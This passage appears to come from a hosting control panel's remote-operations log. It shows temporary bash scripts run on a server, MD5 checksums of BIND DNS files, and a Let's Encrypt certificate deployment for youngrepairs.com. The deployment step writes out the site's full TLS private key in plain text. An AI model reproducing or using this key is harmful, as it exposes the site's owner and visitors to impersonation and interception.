				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 19:49:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp977208; rm /tmp/pkp977208'

2026-04-29 19:49:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 19:51:58: Establishing a connection
2026-04-29 19:51:58: Establishing a connection
2026-04-29 19:51:58: 

PUT: /tmp/pkp310515

#!/bin/bash
if [ -d "/var/www/youngrepairs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-29 19:51:59: 

chmod 755 /tmp/pkp310515; /tmp/pkp310515; rm /tmp/pkp310515

2026-04-29 19:51:59: 


1


2026-04-29 19:52:00: Establishing a connection
2026-04-29 19:52:00: 

PUT: /tmp/pkp692856

#!/bin/bash
mkdir -p "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cd "/var/www/youngrepairs_www/.well-known/acme-challenge/"


2026-04-29 19:52:00: 

chmod 755 /tmp/pkp692856; /tmp/pkp692856; rm /tmp/pkp692856

2026-04-29 19:52:00: 




2026-04-29 19:52:01: Establishing a connection
2026-04-29 19:52:01: 

PUT: /tmp/pkp492025

#!/bin/bash
mkdir -p "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cd "/var/www/youngrepairs_www/.well-known/acme-challenge/"


2026-04-29 19:52:01: 

chmod 755 /tmp/pkp492025; /tmp/pkp492025; rm /tmp/pkp492025

2026-04-29 19:52:01: 




2026-04-29 19:52:01: Establishing a connection
2026-04-29 19:52:01: 

PUT: /tmp/pkp612916

#!/bin/bash
temp_file=$(mktemp)
TARGET=76526c88d7a3ad40c19457afe65bc2f6.crt

cat > $temp_file <<'endmsg'
53:91:60:c5:da:ec:8e:9b:28:e0:6a:aa:fc:dc:a0:01

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBSumZ2fJPMVD6v3pNyr+nMu0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTg1MzMwWhcNMjYwNzI4MTg1MzI5WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEApP7Oy1LWkDLhmgK9vw/IDbVWEDZgRmVP4Httf/JkPEefhOi6K+QFIId8IMxK
tCfLwalvC3RrNlftZMhbYfc+dYbl4GDSALm/8wR4CKGr3XNEir64ZSDpeI/UpHlV
/VX64rzAUBdLkuV/dvm4I2I40G+Cmh060uQZnijyTRCRYvGUADGxlf+U7I2dct8i
UjOIGenOVaOCL664ilfioPmJMjthZHFKx7NhjDNQppQciocB9CjIvhI/Ox/2guvz
Nag2Sncx0GOcpAuWM/TQ79i7R0Dpn2VAcGQDDLZuThrkJPfldRdkhHrIMRASK2He
3/VrOTt+Wbj9DOwloMLw39H/PQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFO3v
FNBq4uJI5P3NxnS6X7MgINz0MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQeW91bmdyZXBhaXJzLmNvbTATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzUzLmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AMIxfldFGaNF7n84
3rKQQevHwiFaIr9/1bWtdprZDlLNAAABndrMYWkAAAQDAEgwRgIhAIOaWXN4IES0
6MCJDdZarJAdqdUeP/A3LsW7AQjuvESDAiEAlDO/7Yjm4dILSl5jilyo8c7ANCb0
wSjA7y6e7C0VZAgAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAA
AZ3azGG8AAgAAAUADT03vQQDAEgwRgIhALWL3YUz882g0Ljk67+hQL0Qf/Dv3ajb
PHCOpJXzZdRoAiEAn2al3xHX3jP/kHSGlieFWs3kKuqsaMvkTPm4gjejT2MwDQYJ
KoZIhvcNAQELBQADggEBAIKUME2eGmYXuBw2ZhIhjraIY7IzD32H2PmhyY5AdxHb
FCj56vX1oIKVXRKpc56dn+Vpg47VMn0t1/8LTZNEsfRynrfAXvJo7C5R8a51vmsO
eVId9ctenIf8Xv8mdLlBS3igGTANS91Cqama0K1kB0M3J7zIiZAHBXOxfnHhIzlb
NnpgUNNYkWjMod2vQd/fZNe54scw1BP73oPbQ44xTZRC+/i5qTqseo0wZmBEHcyf
StvDIfZE49nFQsluUtrmpY/YdGrkb8t43Zp91Vnvae5qTKiHAcXUg67XN3Vq/8Zt
mjoLY+tTyAXUjyHFeFDIUu9us7iZ/yhs6csSm1rDM0Y=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCk/s7LUtaQMuGa
Ar2/D8gNtVYQNmBGZU/ge21/8mQ8R5+E6Lor5AUgh3wgzEq0J8vBqW8LdGs2V+1k
yFth9z51huXgYNIAub/zBHgIoavdc0SKvrhlIOl4j9SkeVX9VfrivMBQF0uS5X92
+bgjYjjQb4KaHTrS5BmeKPJNEJFi8ZQAMbGV/5TsjZ1y3yJSM4gZ6c5Vo4IvrriK
V+Kg+YkyO2FkcUrHs2GMM1CmlByKhwH0KMi+Ej87H/aC6/M1qDZKdzHQY5ykC5Yz
9NDv2LtHQOmfZUBwZAMMtm5OGuQk9+V1F2SEesgxEBIrYd7f9Ws5O35ZuP0M7CWg
wvDf0f89AgMBAAECggEAAKDCtdzMN6lqcplQAV3a+giDawrYVsKmr61FYoUdBUjH
kXsqNbKfLF+wK0oN5UQ9G8qNZXoyp7sgrJwoEwPx/IuGl7iHrsCw5ir8Fhp1BV23
LaKKhspocZuGiKEN/pACgxLgPF7eD3fEnCCMDaJsPBFBHaGDDJHVFFQOkVy4WO/i
rU0ScWp8k/sY/coNOg8DtnLFevTI+NaJDQqnWXgiUye5ELnKRgAfDQ8QFmVNPbN9
8CEUzfBHrPpbNg7ocZTgxSTj2w+Ym6dAr7rWqxRLU9iidClbduKx3qrtn9IrIrsS
psOylaNj8kfTD9ZE9Db7tYOPgDlqribWMdDhmnEnMQKBgQDahI4TX3PkaSJxZDKx
A0nId73rU5LjDfj8eOqJ2yeB+Sa5H/yoORBOqVJoQLvX4i1dCHkgcpVVSg692fjL
qH888MvLkCmz1LxKup4OMTvBlgUesuPDGl1ma2gfaxhchPkCIkTTU3ffsm4/9CkK
edhYGs4GMIlwU9p7FEwKzTDqZQKBgQDBTABjCmIYYHIlOoWhiPX1AaLXwjHPuL5M
dixjslZLJIFS/4g9GOw7ck9/jMDu0dBrHeNQw1g5oLURgf+JcIDXzQkI585qn6A7
LF98hou54bcN8mm4ehd9TBawgiHPDt1G6EYUzFH8OtsmNXH4nDswpVFvfKRozLkL
9iHmL4xH+QKBgHr7J0rX6c2fLfdLQQxGoXvliEmtG3oWHw9YrgcwBCguJREDY5r5
oqfiu7JY3F8/t/AoGKOeWVVK/Mj0qAVWq2WMz+WdGRtQmzgjl1i9dLgayn7ghzcC
25YM1Oj5yRgo7ku5JasZytlm/o2XyJFQyeWsEE+DeZZyWv/yCGn72Y/RAoGAdHqb
8RKcshvMLOrrA8BIlm959ZIr+gRViDXd4eXhYj6JP76EFm0iTWBAz5e92yvL8AB+
rnhIfdF9yyMPHX8R5PjE7PziwhWWtJG0qJFbOZPufxUI6AWKihKDybFhNii65rOp
J3dIIDpHPOsP1sQuVs4IGKp/WDelerPDEbatTeECgYANY9Yb8m5e+KfmfjJNccCR
wTPHicKW+ZI6hGxssFP9JUEfajwzSKJhQTmEf+xSLVID2KZ6kuDC1cygEnTYhoEJ
LcM0Dx2Z+cdLJ/u5PXagkDGntw/7xdY2jjItCfVSruDJ4BJ7uj+Cr3PNgE86yexW
t8sPXHj0IpBcZvJQiFcSJA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
